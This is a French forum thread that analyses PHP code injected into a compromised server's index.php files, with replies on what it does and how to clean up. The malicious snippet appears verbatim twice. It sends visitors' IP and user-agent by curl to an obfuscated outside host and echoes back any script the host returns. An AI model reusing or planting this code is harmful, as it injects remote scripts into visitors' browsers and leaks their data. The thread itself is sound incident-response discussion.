Analyse post-mortem d'une instrusion (PHP/curl)

Bonjour,

Notre serveur a été attaqué et j’ai du éliminer dans certains fichier index.php le code suivant

#530da5# error_reporting(0); ini_set('display_errors',0); $wp_srx6146 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_srx6146) && !preg_match ('/bot/i', $wp_srx6146))){ $wp_srx096146="http://"."html"."value".".com/value"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_srx6146); $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_srx096146); curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_6146srx = curl_exec ($ch); curl_close($ch); } if ( substr($wp_6146srx,1,3) === 'scr' ) { echo $wp_6146srx; } #/530da5#

Savez-vous ce que ce code fait?

Merci par avance :blush:

Le minimum aurait été de remettre en forme le code :075

#530da5# error_reporting(0); ini_set('display_errors',0); $wp_srx6146 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_srx6146) && !preg_match ('/bot/i', $wp_srx6146))){ $wp_srx096146="http://"."html"."value".".com/value"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_srx6146); $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_srx096146); curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_6146srx = curl_exec ($ch); curl_close($ch); } if ( substr($wp_6146srx,1,3) === 'scr' ) { echo $wp_6146srx; } #/530da5#

De ce que je comprend en 2 min :
[ul][li]1er [mono]if[/mono] on filtre les navigateur IE[/li]
[li]On récupère, entre autre, leur IP dans [mono]$wp_srx096146[/mono][/li]
[li]On envoie tout ça avec curl vers le serveur [mono]CURLOPT_URL[/mono][/li]
[li]Le deuxième [mono]if[/mono] ressemble a du debug car on affiche/log de l’info si on trouve “src” dans la chaine [mono]$wp_6146srx[/mono][/li][/ul]

Donc pour moi tu n’a enlevé qu’une partie du code inséré. Fait une recherche sur [mono]CURLOPT_*[/mono] et tu devrais trouver d’autres choses. :think:

Désolé je n’ai pas fait attention à la forme de code :open_mouth:

J’ai fait une recherche rien pour CURLOPT_ rien !

Comment as tu fait ta recherche ? Dans le fichier, le répertoire ? Et google ?
Sans paramètre le script ne feras rien de méchant, il plantera au pire mais c’est tout.
Il doit y avoir quelque chose que tu n’as pas vu.

[quote=“Mimoza”]Comment as tu fait ta recherche ? Dans le fichier, le répertoire ?
Sans paramètre le script ne feras rien de méchant, il plantera au pire mais c’est tout.
Il doit y avoir quelque chose que tu n’as pas vu.[/quote]
Mimoza, c’est gentil de me consacrer du temps.

J’ai fait une recherche du mot dans les fichiers. Je l’ai trouvé dans 5 fichiers mais les fichiers avait une date de modification ancienne et le code était normal.

Je ne suis pas remonté à la racine du serveur seulement dans le répertoire des sites.

Si je lit bien, c’est un truc qui va causer à htmlvalue.com/value/?machintruc

Rien de spécial donc;

[quote=“haleth”]Si je lit bien, c’est un truc qui va causer à htmlvalue.com/value/?machintruc

Rien de spécial donc;[/quote]
Je ne comprends pas :open_mouth:

[quote=“haleth”]Si je lit bien, c’est un truc qui va causer à htmlvalue.com/value/?machintruc

Rien de spécial donc;[/quote]
Certes, ça ne fait “que” causer à ce site web (domaine chinois, soit dit en passant).
Mais de là à dire “rien de spécial”… Il envoie quand même le résultat au navigateur (sous réserve qu’il commence par [mono]scr[/mono]) et on ne sait pas ce que ce résultat contient. Vu que ça vise spécifiquement Firefox (Gecko) et Internet Explorer (MSIE) je serais prêt à parier que c’est un exploit quelconque.

Le titre est mauvais. D’une part il ne décris pas le problème (contrairement à « analyse post-mortem d’une instrusion (PHP/curl) ») et il entretiens une confusion que l’on n’aime moyennement ici. Un hacker n’est pas un cracker ou un black hat.

Salut,

Merci Misterfreez, que les journaleux et les politiques fassent la confusion nous y sommes habitués. Mais que sur ce forum personne n’ait protesté m’étonnais :041

Voilà le titre est changé :blush:

[quote=“PatriceVigier”]
J’ai fait une recherche du mot dans les fichiers. Je l’ai trouvé dans 5 fichiers mais les fichiers avait une date de modification ancienne et le code était normal.[/quote]

Ne pas faire une confiance aveugle a cette information, elle est tout a fait modifiable.
Après c’est un choix, soit tu laisse ton serveur tel quel (en priant très fort que tu ai bien fait le ménage), soi tu fait une réinstall de ton serveur et un redéploiement de ton application avec une version/livrable propre.

Ne te formalise pas avec les remarques des participant au forum, ils sont un peu sec au départ mais très serviable au final :wink:

[quote=“Mimoza”][quote=“PatriceVigier”]
J’ai fait une recherche du mot dans les fichiers. Je l’ai trouvé dans 5 fichiers mais les fichiers avait une date de modification ancienne et le code était normal.[/quote]

Ne pas faire une confiance aveugle a cette information, elle est tout a fait modifiable.
Après c’est un choix, soit tu laisse ton serveur tel quel (en priant très fort que tu ai bien fait le ménage), soi tu fait une réinstall de ton serveur et un redéploiement de ton application avec une version/livrable propre.

Ne te formalise pas avec les remarques des participant au forum, ils sont un peu sec au départ mais très serviable au final :wink:[/quote]

J’ai fait des recherches par date de modification de fichier, j’ai fouiné partout, en fait je crois qu’il voulait récupérer les login mot de passe.
J’ai installé un programme qui m’alarme quand un fichier est créé ou modifié.
En gros je prie bien fort avec un œil grand ouvert.

Pas de problème je ne me formalise pas, je suis bien content qu’on prenne le temps de répondre à mes problèmes.